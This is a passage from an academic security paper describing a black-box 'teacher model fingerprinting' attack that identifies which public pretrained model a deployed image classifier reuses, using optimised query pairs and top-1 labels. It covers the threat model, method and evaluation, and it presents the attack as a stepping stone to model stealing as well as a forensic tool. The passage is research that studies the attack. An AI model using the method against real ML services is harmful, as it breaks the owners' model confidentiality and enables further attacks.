top-1 label exposure. Moreover, our attack still works well
when synthesizing queries from samples unrelated to the tar-
get domain, or even from random noises. In addition, we show
that our fingerprinting attack can serve as a stepping stone to
performing more effective model stealing attacks.

Our study should not be confused with recent research
efforts on model stealing or model reverse engineering:

Their primary goal is to directly steal the exact victim
model, build a surrogate model with similar functionality,
or infer other internal model information. By contrast, our
proposed attack essentially focuses on exploiting the model
sharing practice in transfer learning, to quickly identify the
presence of pre-trained components. Once identifying the
teacher model components, the attacker has stepped further
to realize the aforementioned malicious or unethical goals.

Besides, from the technical perspective, our attack reme-
dies the key weakness—significance attack expense caused
by massive attack queries or shadow models—of prior arts.
Our attack just needs to identify the transferred feature map
with few queries, rather than recovering model parameters or
architectures interactively.

Furthermore, previous studies are subject to extra attack
assumptions, such as transparent model architectures [9] and
fine-grained model outputs [40]. E.g., the teacher model fin-
gerprinting method proposed by Wang et al. [42] requires
access to posteriors of the target model prediction. However,
in the real world, raw model outputs are usually perturbed or
hidden for security [20] or other product deployment concerns.
Instead, our work is set up on a more generic and realistic sce-
nario. We assume the attacker exclusively receives the victim
black-box model’s final decision, i.e., the top-1 classification
result, which gives the minimum amount of information. This

assumption implies that our proposed attack is likely to be
mounted on any transfer learning classifiers. Additionally,
we assume the attacker has zero knowledge of the victim’s
training dataset, but they are allowed to utilize public data.
These assumptions ensure our proposed method is feasible
and applicable in practice.

Our main contributions can be summarized as follows:
• We take the first step to comprehensively investigate the

teacher model exposure in the transfer learning context.
In particular, we demonstrate a teacher model fingerprint-
ing attack against transfer learning.

• We propose a novel optimization-based technique to
implement our attack.

• Extensive evaluations demonstrate the efficacy of our
method, and we further show that our teacher model fin-
gerprinting attack can be used to facilitate model stealing
attacks against ML models.

2 Preliminaries

2.1 Problem Statement
Transfer learning. Transfer learning is commonly used to
solve the data-hungry problem of ML, especially for deep
learning models [22, 34, 39]. The core is to leverage the
feature maps learned by the teacher model, so as to avoid
significant cost of training a large model from scratch.

In the source domain, the teacher model T has been trained
on a large scale dataset DT = {(xi,yi)}NT

i=1,2 and then it is re-
leased for other downstream ML developers. In a typical
transfer learning workflow, the student model S is firstly con-
structed with early k layers copied from T for feature extrac-
tion, as well as newly added classification layers CS(·) (e.g.,
fully connected layers, SVM, etc.) on the top. Then, S gets
trained on a usually confidential dataset DS = {x j,y j)}NS

j=1,
where NS ≪ NT. In practice, there are two training strategies:

• Feature extractor, where all pre-trained layers are
frozen to compose a feature extractor FT.

• Fine-tuning, where part of the pre-trained parameters
of FT will be updated for better fitting on DS.

After being carefully trained, S is deployed into a Machine-
Learning-as-a-service (MLaaS) platform to provide services.
A customer can send a query x to the MLaaS service and get
the corresponding result f (S(x)), via an authorized API f (·).
Teacher model fingerprinting. In this paper, we develop a
novel approach to infer the origin of a student model with only
black-box access. Our motivation is that the student model
is likely to inherit fingerprintable model behaviors, i.e., the
way to extract features in our case (a.k.a. feature map), from
the teacher model. Some attackers can possibly elicit such
fingerprintable behaviors by sending carefully crafted queries
to the student model, which is sometimes concealed into an

2In this paper, the notation {·} refers to a multiset, which may contain
repeated values.
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MLaaS platform. Consequently, they are able to identify the
teacher model based on the victim’s responses. We refer to
this process as teacher model fingerprinting attacks.

2.2 Threat Model

Attack motivations. We first list potential motivations to
conduct the teacher model fingerprinting attack.
Breaking model confidentiality. Internal model setup, such
as architecture or parameters, is supposed to be kept confi-
dential for the sake of IP protection or security consideration.
However, the model behind an MLaaS platform is no longer
a secret once the teacher model has been identified. The at-
tacker can effortlessly recover early layers with the publicly
transparent teacher model information.
Stepping stone to advanced attacks. As mentioned before, our
teacher model fingerprinting attack provides a cheap way to
recover most parameters inherited from the teacher model,
which helps to open the “black box.” Once opening the black
box, the attacker has stepped further to discover and exploit
vulnerabilities of the student model. For instance, they can
easily conduct various white-box adversarial attacks against
the victim model, such as adversarial example attacks [10]
and membership inference attacks [24]. Also, recent studies
have shown that transfer learning may transfer vulnerabilities
from the teacher [48], which the attacker can directly exploit.
Forensics. Despite the aforementioned malicious goals, we
can also treat our teacher model fingerprinting attack as a
new forensic tool for ML applications. For instance, a teacher
model owner does not want their model to be transferred to
perform unethical or illegal tasks, such as weapon classifi-
cation. A potential IP protection solution is to embed water-
marks to model [8, 25, 47]. However, we are witnessing an
arms race right now, where watermarking schemes would be
broken by new attacks [29]. Our fingerprinting approach can
complement watermarking for IP protection. Also, in some
cases, certain parties can intentionally publish a vulnerable
teacher model, which will result in the corresponding student
models inheriting vulnerabilities [45]. For both of these cases,
our attack can be used by a third-party forensic service as a
defense to track the origin of a student model.
Threat model in detail. Then, we describe the detailed threat
model in real-world settings. For our teacher model finger-
printing attack, we consider an attacker with black-box access
to the victim student model S . The attacker is able to send an
arbitrary input x to S via an authorized API f (·) and receive
the corresponding response f (S(x)). Three cases may arise.

• Case 1. f (S(x)) = S(x). In a low-level security setting,
the response exposes the exact model output, which con-
tains class labels and raw confidence values.

• Case 2. f (S(x)) = S(x)+ ε. The MLaaS provider re-
turns a perturbed version of the model output to avoid
privacy breaches like membership inference attacks [20].
It is notable that the perturbation should not change the

top-1 predicted label [20], i.e., argmaxi (S(x)+ ε)i ==
argmaxi S(x)i ( S(x)i: the i-th component of S(x)).

• Case 3. f (S(x)) = argmaxi S(x)i. Only the top-1 label
is returned, giving the minimal piece of information [26].

This work demonstrates the teacher model fingerprinting at-
tack in the most restrictive case—top-1 label exposure, i.e.,
Case 3 where f (x) = argmaxi S(x)i.3 In this case, our pro-
posed attack is compatible with Case 2: on the one hand, the
output perturbation in Case 2 would not change the top-1
predicted label; one the other hand, even the perturbed model
output at least provides information no less than Case 3.

In our basic setup, we assume the attacker has obtained
most potential teacher model candidates {Ti} from public
resources (e.g., ML frameworks like PyTorch, or websites
like ModelZoo [1]). We also consider possible cases where
the victim model does not come from one of the candidate
teacher models, or it is not trained through transfer learning.
Neither the teacher dataset DT in the source domain nor the
student dataset DS in the target domain is available. However,
the attacker can collect public datasets like ImageNet to help
perform the teacher model fingerprinting attack. The attacker
has two primary goals: one is to infer the teacher model ac-
curately, while the other is to use as few probing queries as
possible, to limit attack costs and keep the attack stealthy.

3 Teacher Model Fingerprinting

3.1 Overview
In the beginning, we formalize the teacher model fingerprint-
ing attack in the transfer learning context:

Definition 3.1 (Teacher Model Fingerprinting Attack). Sup-
pose there is an attacker given a set of N realistic inputs
{xi} (a.k.a. probing input), a set of teacher model candidates
{T j}, and an authorized API f (·) to the target black-box stu-
dent model S in only top-1 label exposure, the teacher model
fingerprinting attack is to infer which T j is adopted by S .

We start from the feature extractor transfer learning set-
ting. Suppose there is a student model S composed of a fea-
ture extractor FT, with early k components copied from the
teacher model T , and newly trained classification layers CS.
Our intuition is that given a probing input x, we can artifi-
cially craft a synthetic input x′ so that FT(x′)≈ FT(x). Hope-
fully, we will activate similar outputs on the student model as
S(x′) = CS(FT(x′))≈ CS(FT(x)) = S(x), and therefore have
a greater chance to receive similar responses from the API. In
this case, we refer to the pair ⟨x,x′⟩ as a fingerprinting pair.
Although the above intuition stands on the feature extractor
scenario, in Section 4.3.3, we will show that our attack still
works in the fine-tuning setting.

Figure 1 provides a schematic view of our teacher model
fingerprinting attack. Overall, it follows two steps:

3In the remaining, we abuse the notation f (x) to represent f (S(x)).

USENIX Association 31st USENIX Security Symposium    3595



Student Model (S)

…

Pretrained components
Newly trained components

Probing Input

argmax& T (x)& : “Airplane”
argmax& T (x’)&: “Airplane”

Teacher Model (T)

Synthetic Input

FT(x)
≈

F’T(x’)

Latent
Representation

min
x’

||FT(x)−F’T(x’)||2

Attacker Side

S(x)
S(x’)

Victim Side

API

x

x’

API

k components

k components

f (x) : “Bird”
f (x’): “Bird”

FT(·)

F’T (·) CS (·)

Fine-tuned components

…

Figure 1: Illustration of our fingerprinting attack. Given a
probing input x and a teacher model T , the attacker aims to
find a synthetic input x′, which will activate a similar latent
representation at the k-th component with x: FT(x′)≈ FT(x).
If the first k components of the student model S comes from
the teacher model T , some of which may get slightly fine-
tuned (still, F ′

T (·) ≈ FT(·)), the student model is likely to
produce a pair of similar responses S(x′)≈ S(x).

Step I: generating a set of fingerprinting pairs {⟨xi,x′i⟩}.
To perform the teacher model fingerprinting attack, the at-
tacker firstly collects a set of candidate teacher models and
realistic probing images. For each candidate teacher model
T j, the attacker needs to determine which components may
constitute the feature extractor FT j for the student model.
Conventionally, the student model will adopt the whole con-
volution part from the teacher model. Then, for each probing
input xi, the attacker aims to craft a synthetic input x′i, which
will trigger similar latent representations on FT j . We will
study how the choice of components of FT j , the number of
{xi}, as well as the source of {xi} affect the proposed attack
in Section 4.3.2, Section 4.3.4, and Section 4.3.5, respectively.

This attack query generation procedure ensures our attack
is a cheap one, since: i) the query generation procedure is
locally conducted without any expense by the target MLaaS
service, and ii) for fingerprinting pairs bonded to FT j , they are
reusable to probe whether other student models come from
FT j , without further computation costs on query generation.
Step II: inferring the teacher model according to black-
box responses {⟨yi,y′i⟩}. After obtaining fingerprinting pairs,
the next step is to send them to the target black box, and
infer which teacher model is used according to the responses.
Ideally, if the target model relies on the feature extractor FT j ,
most generated fingerprinting pairs would produce a pair of
responses matched on the same label. The inference stage
follows the “one-of-the-best” strategy: choosing the candidate
owning the most matched responses as the inference result.
In Section 5, we will introduce a strategy for robust inferences.

3.2 Step I: Attack Query Generation
For our teacher model fingerprinting attack, we use the L2-
norm metric to measure the similarity of latent representations.
Given a probing input x and a candidate feature extractor FT,
we formalize the attack query generation task as

x′ = argmin
x̃

∥FT(x̃)−FT(x)∥2, s.t. x̃ ∈ [0,255]. (1)

For the constrained optimization problem Equation 1, we
adopt the optimization strategy proposed by Carlini and Wag-
ner [11]: by introducing a new variable w, and setting

tanh(w) =
2x̃

255
−1, (2)

we have −1 ≤ tanh(w)≤ 1, and

−1 ≤ 2x̃
255

−1 ≤ 1 ⇒0 ≤ x̃ ≤ 255, (3)

which satisfies the constraints. Therefore, the original prob-
lem Equation 1 can be converted to

w′ = argmin
w

∥∥∥∥FT

(
255

2
(tanh(w)+1)

)
−FT(x)

∥∥∥∥
2
, (4)

which can be solved by gradient descent algorithms. We use
the Adam optimizer [21], with learning rate set as 10−3 for
30,000 iterations. In our implementation, we initialize w as 0.

However, due to type casting (floating points to integers)
and optimization loss, FT(x) cannot be perfectly equal to
FT(x). So after obtaining the synthetic input x′, we will exam-
ine whether argmaxi T (x)i == argmax j T (x′) j on the candi-
date. If not, we will discard x′ and generate a new one.

3.3 Step II: Teacher Model Inference
The next step is to infer whether the student model comes
from one of the candidate teacher feature extractors. For each
candidate feature extractor, the attacker can generate a set of
fingerprinting pairs and send them to the black-box student
model. Intuitively, for a specific feature extractor FT, the more
matched pairs of black-box responses are obtained, the more
likely the target model is transferred from FT. Here we define
the matching set useful for further discussion.

Definition 3.2 (Matching Set). After sending N fingerprinting
pairs, all the pairs triggering two same API responses (yi ==
y′i) compose the matching set Smatch.

We use three heuristics to measure how much “belief” the
attacker has to infer the teacher feature extractor.
Matching proportion. A high matching proportion of fin-
gerprinting pairs indicates a high possibility that the target
student model uses the same feature extractor as the attacker.
We compute the matching proportion as a primary metric
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to depict how “perfectly matched” the candidate is with the
target feature extractor.

Pmatch =
|Smatch|

N
.

The attacker will obtain a fingerprinting vector composed of
matching proportions vfgpt = [P1

match,P
2
match, · · · ] for all candi-

date feature extractors [FT1 ,FT2 , · · · ]. Then the attacker will
choose the candidate feature extractor that achieves the high-
est Pmatch as their inference result. Moreover, there are cases
where the actual teacher model does not belong to the candi-
date feature extractor set, or the target model is not trained by
transfer learning. To handle these cases, our attack introduces
a pre-defined threshold τ. If max(vfgpt)< τ, the inference re-
sult will be set as NULL, which means that the target model is
not transferred from the candidate feature extractors.

A high matching proportion is insufficient to prove that the
candidate feature extractor is adopted by the student model.
It is also possible to obtain matched pairs from unmatched
features. That is, the latent features extracted from probing
inputs and synthetic inputs are significantly different. We will
dive into such “false matching” phenomenon in Section 5.
Eccentricity. Eccentricity is adopted by [30] to measure how
an item “stands out” from the rest in a set. It is defined as

E(v) =
max(v)−max2(v)

σ(v)
,

where max(·) and max2(·) refers to the first and second high-
est value, respectively, and σ(·) refers to the standard devia-
tion. The higher the eccentricity of vfgpt, the more distinguish-
ing is max(v), and the more confident the attacker is to make
the inference.
Empirical entropy. Here, we introduce the empirical entropy
of a set as a heuristic to measure how much “information” the
set presents. Formally, for a set {x1,x2, · · · ,xn} and a sample
space X , the empirical entropy is defined as:

H(X ) =− ∑
x∈X

p̂(x) log p̂(x),

where

p̂(x) =
1
n

n

∑
i=1

1(xi == x),

and 1(·) is the indicator function. We calculate the empirical
entropy of the matching set with the highest Pmatch, to esti-
mate how much information is given to make the inference.

4 Evaluation

4.1 Dataset
We use the following datasets to train student models:
Dogs-vs-Cats. Our Dogs-vs-Cats dataset contains 12,500 dog
and 12,500 cat images from the Internet [2]. We select the

first 10,000 dog images and the first 10,000 cat images to
compose the training set. The remaining 2,500 dog images
and 2,500 cat images compose the testing set.
MNIST. The MNIST dataset [3] is a widely used dataset to
build up toy image recognition ML models. It consists of
60,000 training and 10,000 testing handwritten digit samples,
containing ten classes from digit 0 to digit 9.
CIFAR10 and CIFAR100. The CIFAR10 and CIFAR100
datasets [4] are another two widely adopted ML datasets.
The CIFAR10 dataset contains ten classes, with 5,000 train-
ing samples and 1,000 test samples in each. The CIFAR100
dataset is similar to the CIFAR10, except that the former has
100 classes with 600 images in each, including 500 training
and 100 testing images.
STL10. The STL10 dataset [5] is originally designed to de-
velop supervised as well as unsupervised learning models.
Our experiment uses the labeled set covering ten classes, with
500 training images and 800 test images per class.
CelebA. We use the first 50,000 facial images as training
samples and the following 10,000 facial images as the test
samples from the CelebA dataset [27], which are annotated
with 40 binary attributes. For CelebA, we build up multi-label
transfer learning models to tag each image with 40 attributes.

We also use different datasets to generate probing inputs:
VOC-Segmentation. Our experiments assume the attacker
has obtained the training dataset for the segmentation task
of the VOC2012 challenge [6], consisting of 1,464 samples.
Besides, we further assume the image annotation information
(i.e., segmentation and class information) is unavailable.
Random Noise. This dataset simulates the case that the at-
tacker cannot acquire any realistic image to build up the attack
dataset. In this scenario, they have to synthesize images with
randomly generated pixels to compose the attack dataset. We
assume the attacker samples each pixel by the normal distri-
bution and normalizes it into an integer within [0,255].

For all images used in our experiments, they are firstly
preprocessed into the 8-bit 224×224 RGB format.

4.2 Experiment Setup
Teacher models. We have downloaded pre-trained models
AlexNet, DenseNet121, MobileNetV2, ResNet18, VGG16,
VGG19, and GoogLeNet from the official repository of Py-
Torch. Furthermore, to examine whether our proposed attack
can discriminate teacher feature extractors with the same ar-
chitecture trained by different organizations, we have also
downloaded an AlexNet model from the PyTorchCV package
repository [7]. The detailed information of the pre-trained
models is listed in Table 3. We adopt the whole convolution
part of each pre-trained model as the feature extractor in our
experiments. Particularly, for VGG16 and VGG19, we also
adopt the fully connected layers, except the last output layer.
Student models. For the Dog-vs-Cats, MNIST, STL10, CI-
FAR10, and CIFAR100 dataset, we develop multi-class clas-
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sification students models. As for the CelebA dataset, we
develop multi-label models which annotate the input with
40 binary attributes simultaneously. We build up three stu-
dent models for each pre-trained feature extractor individually,
by appending different fully connected layers. The detailed
transfer learning setup is described in Appendix E. Our basic
transfer learning setup is the feature extractor approach. That
is, the parameters of the pre-trained feature extractor are fixed.
Furthermore, in Section 4.3.3, we will evaluate the attack per-
formance when some components of the feature extractor get
fine-tuned during the transfer learning process.
Other targets not trained with transfer learning. In our
experiments, we also consider target models trained from
scratch, which have the same model architectures with
AlexNet and ResNet18 student models.
Basic setup. Here we introduce the basic attack setup, fol-
lowed by most of our experiments unless otherwise specified.
We assume the attacker has owned seven pre-trained feature
extractors from public resources (models listed by Table 3 ex-
cept for GoogLeNet), and they have crafted 100 fingerprinting
pairs for each teacher feature extractor. For the ease of com-
parison, we also assume that for each candidate teacher model,
the attacker knows how many layers of the teacher model will
be used (e.g., k in Figure 1 is known). We will investigate the
case when k is unknown in Section 4.3.2. We randomly select
the attacker’s probing images from the VOC-segmentation
dataset, which does not overlap with the training dataset of the
teacher models or student models. In Section 4.3.5, we will
investigate the attack effectiveness when no realistic probing
image is available. Only the top-1 classification label will be
reported by the black-box target, except that the multi-label
classifier trained on the CelebA dataset will return 40 facial at-
tributes. We assume the input format and input pre-processing
module are transparent to the attacker. For most real-world ap-
plications, the input format is described by the API reference
book. Otherwise, it is also feasible to infer the input format
efficiently with some reverse engineering techniques [44].
Choice of τ. We assume our target is a c-class classifier. When
the classifier simply outputs random results, the probability
that the attacker receives a pair of matched responses is 1

c . To
avoid such random matching, we should at least ensure τ > 1

c .
A generic way is to preset a positive number β > 1 and let
τ = β

c . Also, we must ensure β ≤ 2 so as to when c = 2, τ will
not exceed 1. When there are no auxiliary dataset and model
to help determine τ, we directly set τ = 1.5

c .
However, when c becomes large, τ ≈ 1

c . Another feasi-
ble way is to empirically find a τ. In our experiment, we as-
sume the attacker owns another classification dataset Fashion-
MNIST [43]. For each candidate model, the attacker first
trains five student models on the Fashion-MNIST dataset.
Then, for a specific τ, the attacker randomly chooses around
50% teacher candidates from the candidate set (3/7 in our
case), and launches inference attacks against the student mod-
els. After repeating this process 20 times, the attacker calcu-

0.0 0.2 0.4 0.6 0.8 1.0
False Positive Rate (FPR)

0.0

0.2

0.4

0.6

0.8

1.0

T
ru

e
P

os
it

iv
e

R
at

e
(T

P
R

)

0.00.1
0.20.3

0.4
0.5

0.6
0.7

0.8

0.9

1.0

Figure 2: ROC curve with different τ. Each point refers to a τ.

lates the true positive rate (TPR) and false positive rate (FPR),
where we assume that the student coming from a teacher can-
didate is a positive event. By increasing τ from 0 to 1, the
attacker can obtain the ROC (receiver operating characteristic)
curve for analysis, as presented in Figure 2. τ = 0.3 is a good
choice, as it achieves a high TPR and a low FPR. Finally, we
set τ as max( 1.5

c ,0.3).

4.3 Evaluation Results
4.3.1 Overview

We exhibit our basic experiment results on transfer learning
targets in Figure 3. Each row of the subfigure represents a
fingerprinting vector vfgpt against a specific student model, in
which each column reports the matching proportion Pmatch on
one teacher feature extractor candidate. For all the 126 victim
student models transferred from the seven teacher model can-
didates, the teacher model candidates with the highest Pmatch
are consistent with the ground truths (i.e., 100% inference
accuracy). Also, our attack against 13 out of 18 GoogLeNet
student models and 31 out of the 36 trained-from-scratch mod-
els returns NULL. For the ease of analysis, in the remaining
parts, we mainly consider the case that all the possible teacher
candidates are obtained by the attacker, which is a common
assumption by existing work [42, 45].

Our first observation is that, in general, the more classes
that the transfer learning task involves, the stronger evidence
the attacker can receive to infer the teacher model. We can
see that for the CIFAR100 learning task, the highest Pmatch is
significantly higher than other elements of vfgpt, which con-
veys strong evidence that the student model is likely to be
transferred from the corresponding teacher model. In the
meanwhile, the evidence drawn from the Dogs-vs-Cats stu-
dent models is not so obvious, as we can see high Pmatch on
multiple teacher feature extractor candidates. For instance,
when sending fingerprinting pairs generated from VGG19
to the three black boxes transferred from the VGG16, the
attacker has achieved Pmatch as 0.66, 0.76, and 0.86, respec-
tively. They are relatively high compared with these on the
CIFAR100 targets (0.13, 0.04, and 0.08).

Our second observation is that the student dataset possibly
affects the attack performance. For the four 10-class classi-
fication tasks, we can see that the discrimination between
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elements of vfgpt in an attack against MNIST student models
is less evident than in the other three kinds of transfer learning
student models. In fact, the attack performance is subject to
the similarity between the student dataset and the probing
dataset. We will study this phenomenon in Section 4.3.5.

4.3.2 For Unknown k

In practice, the number of components k used by the teacher
model is usually available when the teacher model gets re-
leased [45]. But it is still worth investigating the rare case
when k is unknown. In this case, we choose the following
strategy to identify k: for all possible values of k, the attacker
synthesizes attack queries. Then, the attacker launches attacks
with different k, from the smallest value to the largest value.
For each k, if the predicted result is not NULL, we will record
the current candidate model and the corresponding k as the
inference result. Otherwise, the inference process will stop.
Setup. Basically, in our experiment, we group pre-trained
layers by separating them by the pooling layers, and we call
each separated part a “block.” In our experiment, we freeze
or fine-tune blocks instead of individual layers. We report the
number of blocks for each FT in our experiment in Table 3. So,
in our case, we choose to identify the number of pre-trained
blocks instead of the number of pre-trained layers k. In our
experiment, we consider teacher models removing the last
pre-trained block and the last two pre-trained blocks, since in
practice, deep features are wanted [45]. It is notable that we
freeze all pre-trained components in this experiment.
Results. For the target models removing the last block, we
achieve a 100% (126/126) inference accuracy. Meanwhile, for
the target models removing the last two blocks, we achieve a
65.87% (83/126) inference accuracy.

One possible illustration of this phenomenon is that the
earlier layers extract more generic visual features from the
input, such as edges, dots, and textures. In contrast, the deep
layers extract more abstract features (like complex patterns,
objects, and even concepts), which is more specific knowl-
edge of the teacher dataset. That means features from deeper
layers carry the information on how the teacher model refines
knowledge from inputs, and therefore they are the key to ex-
tracting teacher model fingerprints. We can think that most
part of the teacher model fingerprint is removed when deep
layers get discarded.

Figure 4 exhibits some synthetic inputs generated from
different blocks. We can observe that synthetic inputs gener-
ated from lower-level blocks tend to present more concrete
contents, i.e., the “plane” pattern presented in the probing
input. Meanwhile, synthetic inputs from high-level blocks
look more like abstract “noisy patterns.” To understand this
phenomenon, we need to review how features are extracted
and propagated layer by layer. On early layers, local patterns
of the synthetic input are captured, while on deep layers, a
global and abstract description of the input is extracted. As

a result, only if the synthetic inputs contain sufficient visual
details and local patterns (edges, dots, etc.) can they activate
similar low-level features with the probing inputs. Consider-
ing an extreme case: when we generate a synthetic input with
the probing input on the input layer, we tend to produce a
copy of the probing input. Consequently, they are more likely
to result in matched responses on different models, because
they are close to the probing inputs on too many low-level
features. It leads to more unwanted matches on victims trans-
ferred from other teacher candidates. Hence, it is critical to
extract fingerprints from deep layers.

4.3.3 Impact of Fine-Tuning

Fine-tuning is a commonly adopted strategy for better model
performance or faster model convergence [14]. Here, we ex-
plore how fine-tuning techniques affect the attack.
Setup. Recall that we divide pre-trained feature extractors
into blocks. We study the following cases: frozen feature
extractor, and the last one to five blocks get fine-tuned. In
general, when more blocks get fine-tuned, more disturbances
are introduced to the pre-trained model.
Results. We evaluate the average inference accuracy for each
case and plot them in Figure 5a. In general, the inference
accuracy is likely to decrease when more parameters get
fine-tuned. We present fingerprinting vectors when one and
two blocks get fine-tuned in Figure 15 and Figure 16. We
also statistically study the eccentricity of vfgpt as exhibited
in Figure 5b. Our key observation is that the eccentricity
of fingerprinting vectors significantly decreases when we
fine-tune pre-trained layers of ResNet18, MobileNetV2, and
DenseNet121, while fine-tuning high-level pre-trained layers
of other targets have less impact on the attack performance.
After checking the pre-trained model architecture, we find
another potential cause of this phenomenon: ResNet18, Mo-
bileNetV2, and DenseNet121 contain batch normalization
layers between convolution layers. When fine-tuned on new
datasets, the empirical mean and variance of the batch normal-
ization layer are updated gradually. It may cause a significant
change in the latent feature representation, breaking the basic
assumption that the F ′

T (·)≈ FT(·).

4.3.4 Impact of Query Budget

Then query budget is a primary concern of a query-based
attack. A low query budget will not only limit the attack cost,
but also help the attacker to keep stealthy.
Setup. In our experiment, we examine the effect of the query
budget by simulating attacks that send 1, 2, 5, 10, 20, 50, and
100 fingerprinting pairs for each teacher candidate.
Results. Figure 6 depicts attack performance on different
query budgets, i.e., the number of fingerprinting pairs for each
teacher model candidate sent to the target black box. There-
fore, the total number of queries is 2∗query budget∗ |{FT j}|.
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DS: Dogs-vs-Cats (2-class)
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0.25 0.27 0.87 0.36 0.38 0.39 0.34
0.37 0.34 0.84 0.29 0.38 0.40 0.36
0.40 0.30 0.88 0.36 0.35 0.34 0.34
0.57 0.53 0.60 0.57 0.58 0.57 0.58
0.46 0.40 0.50 0.24 0.17 0.39 0.42
0.40 0.43 0.42 0.42 0.43 0.43 0.41
0.22 0.36 0.38 0.91 0.24 0.25 0.23
0.31 0.35 0.47 0.92 0.30 0.33 0.34
0.31 0.37 0.44 0.92 0.40 0.41 0.40
0.38 0.43 0.48 0.39 0.99 0.45 0.39
0.37 0.38 0.49 0.35 0.99 0.33 0.36
0.32 0.35 0.45 0.33 1.00 0.37 0.38
0.42 0.38 0.42 0.39 0.20 1.00 0.40
0.44 0.50 0.50 0.53 0.40 1.00 0.45
0.54 0.52 0.53 0.54 0.47 1.00 0.48
0.69 0.68 0.72 0.72 0.72 0.71 0.96
0.80 0.78 0.78 0.79 0.79 0.77 0.98
0.41 0.52 0.54 0.54 0.51 0.53 0.93

DS: CelebA (40 binary attributes)

Figure 3: Teacher model fingerprinting vectors w.r.t. different classification tasks (100 fingerprinting pairs for each teacher model
candidate, in the feature extractor setting). The x-axis represents the candidate teacher model, while the y-axis represents the
actual teacher model. Each row refers to a vfgpt, and every three adjacent rows correspond to three different student models from
the same teacher model, e.g., the first three rows of each subfigure represent three different models transferred from AlexNet.
Note: “GoogLeNet” in the y-axis shows the case that the actual teacher model does not belong to the candidate set (i.e., models
annotated by the x-axis). In this case, our attack against 13 of 18 GoogLeNet student models returns NULL (i.e., “no answer”).
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Figure 4: An example of how probing features affect syn-
thetic inputs. The picture at the left top corner is the original
probing input. Each row refers to synthetic inputs generated
by features from different blocks, and each column refers to
synthetic inputs for a specific candidate teacher model.

Overall, as the query budget grows, the inference accuracy
increases rapidly. When the query budget reaches 50, the to-
tal inference accuracy achieves 100%. It suggests that our
attack can avoid possibly high query charge caused by ex-
isting model reverse engineering attacks [32, 40]. We also

see that the attack on more complex tasks (more classes and
more complicated inputs) tends to achieve higher inference
accuracy. For example, inference accuracy on CIFAR100 clas-
sifiers exceeds 80% even the query budget is limited to 10.

To gain a deeper insight, we also examine the average ec-
centricity of vfgpt and the average entropy of Smatch with the
highest Pmatch. We find that there possibly exist some corre-
lations among eccentricity, entropy heuristics, and inference
accuracy. Firstly, the attack against a more complex transfer
learning task is likely to bring higher “inference belief.” For
instance, the attack on CIFAR100 classifiers shows relatively
high average eccentricity and entropy compared to other learn-
ing tasks. Secondly, we can observe that as the query budget
increases, the average eccentricity of vfgpt and the average
entropy of Ssupport also rise. This phenomenon is consistent
with our intuition: more queries are supposed to return more
“evidence” to the attacker (higher entropy), and thus, the at-
tacker has more confidence (higher eccentricity) to perform
the inference, and they have a higher chance to hit the correct
answer (higher accuracy).
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Figure 5: Performance on fine-tuned feature extractor layers:
(a) average inference accuracy and (b) average eccentricity of
vfgpt w.r.t. seven different FT. Each line corresponds to one
teacher model. When fine-turning the last four or the last five
blocks, we decrease the learning rate from 10−3 to 10−5, so as
to achieve a stable learning process. Such learning rate change
leads to some turning points for x=3 in the plot. For x=4 and
x=5 in the plot, though the number of fine-tuned parameters
grows up, a lower learning rate reduces the absolute change
of these parameters, which might lead to a higher inference
accuracy.
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Ē
(v

fg
pt

)

1 2 5 10 20 50 100

Query Budget

0.0

0.5

1.0

1.5

2.0

2.5

3.0

H̄
(S

m
at

ch
)

1 2 5 10 20 50 100

Query Budget

0.0

0.2

0.4

0.6

0.8

1.0

In
fe

re
nc

e
A

cc
.

Dogs-vs-Cats

MNIST

STL10

CIFAR10

CIFAR100

CelebA

Overall

Figure 6: Performance on different query budgets. Each line
depicts the attack performance on a specific transfer learning
task. We have achieved 100% inference accuracy when the
query budget reaches 50 (pairs for each teacher model can-
didate). On transfer learning tasks with more complex input
patterns and more classes, we get higher eccentricity and en-
tropy heuristics.

4.3.5 Impact of Probing Inputs

One of our basic attack assumptions is that any information
about the population of DS is unavailable. Previously, we
use probing inputs from a public dataset, VOC-Segmentation,
which is not overlapped with DS. But what if when there
exists a “stronger” attacker, who has collected probing inputs
following the same distribution with DS; or there is a “weaker”
attacker, who has no access to any realistic data?
Setup. To this end, we investigate how probing datasets af-
fect attacks with extra evaluations on the other three probing
datasets:

• MNIST and CelebA. They are realistic images and
share the same distribution with DS. We randomly
choose 100 probing inputs from the MNIST and CelebA

testing dataset, respectively. In this case, the DS and the
input probing dataset are still not overlapped.

• Random Noise. This is an extreme case where no re-
alistic images are available. We randomly sample 100
probing inputs from the normal distribution.

Results. Overall, using the VOC-Segmentation dataset, in
general, achieves good performance, while Random Noise
leads to the worst performance. We plot the attack perfor-
mance with MNIST, CelebA, and Random Noise probing
data in Figure 11, Figure 12, and Figure 13 respectively.

The major obstacle to using Random Noise data as probing
inputs is the low entropy of Smatch. We find that the target
model often classifies Random Noise inputs to a specific
label, leading to a low entropy value of Smatch. Meanwhile,
when we choose MNIST as the probing dataset, we have
achieved high entropy values and 100% inference accuracy
(query budget is 100) on the MNIST-classification targets.
We have similar observations when using CelebA as probing
inputs for CelebA-classification models. This is expected:
with sufficient probing inputs from the same distribution with
DS, the attacker can increase the variety of output labels and
increase the entropy of Smatch. Consequently, they have more
information to make a reliable inference. We will further
analyze how the probing inputs affect the attack in Section 5.

5 More Robust Teacher Model Fingerprinting

The experimental results exhibited in Section 4 have shown
that the naïve “one-of-the-best” strategy is effective in most
cases. However, we can also find that it is possible to obtain a
high Pmatch by a mismatched feature extractor. For instance,
in Figure 3, for MNIST classification student models, we get
Pmatch = 0.86 with an AlexNet candidate against a VGG19-
based student model. It indicates there would exist a consid-
erable number of “false matches” in the matching set Smatch.
One possible reason for the false-matching problem is that
most attack queries (especially the synthetic input) belong
to unrecognizable contents of the target black box. In this
scenario, the target classifies a pair of “meaningless” inputs
into the same class occasionally, even if they produce very
different features. We can understand this phenomenon in an
extreme case: supposing a black box only returns the label
“1” to any input. In this case, all our sent fingerprint pairs will
activate seemingly perfect matched responses, and we will
surely get Pmatch = 1 for each candidate teacher feature extrac-
tor. But it is obvious that we cannot find out the actual teacher
model as we are unable to affect the black-box’s behavior.

We design inference strategies leveraging statistical testing
methods to alleviate the impact of false-matching problems.
Here we firstly give one definition for further discussion.

Definition 5.1 (Supporting Set). After removing the ele-
ments with the maximum occurrence from Smatch, the remain-
ing elements compose the supporting set Ssupport = {y|∀y ∈
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Figure 7: Illustration of the supporting set. The supporting set
is the collection of the remaining elements after removing the
elements with the maximum occurrence from Smatch.

Smatch,y ̸= argmaxi |{∀yi ∈ Smatch}|}, which will be leveraged
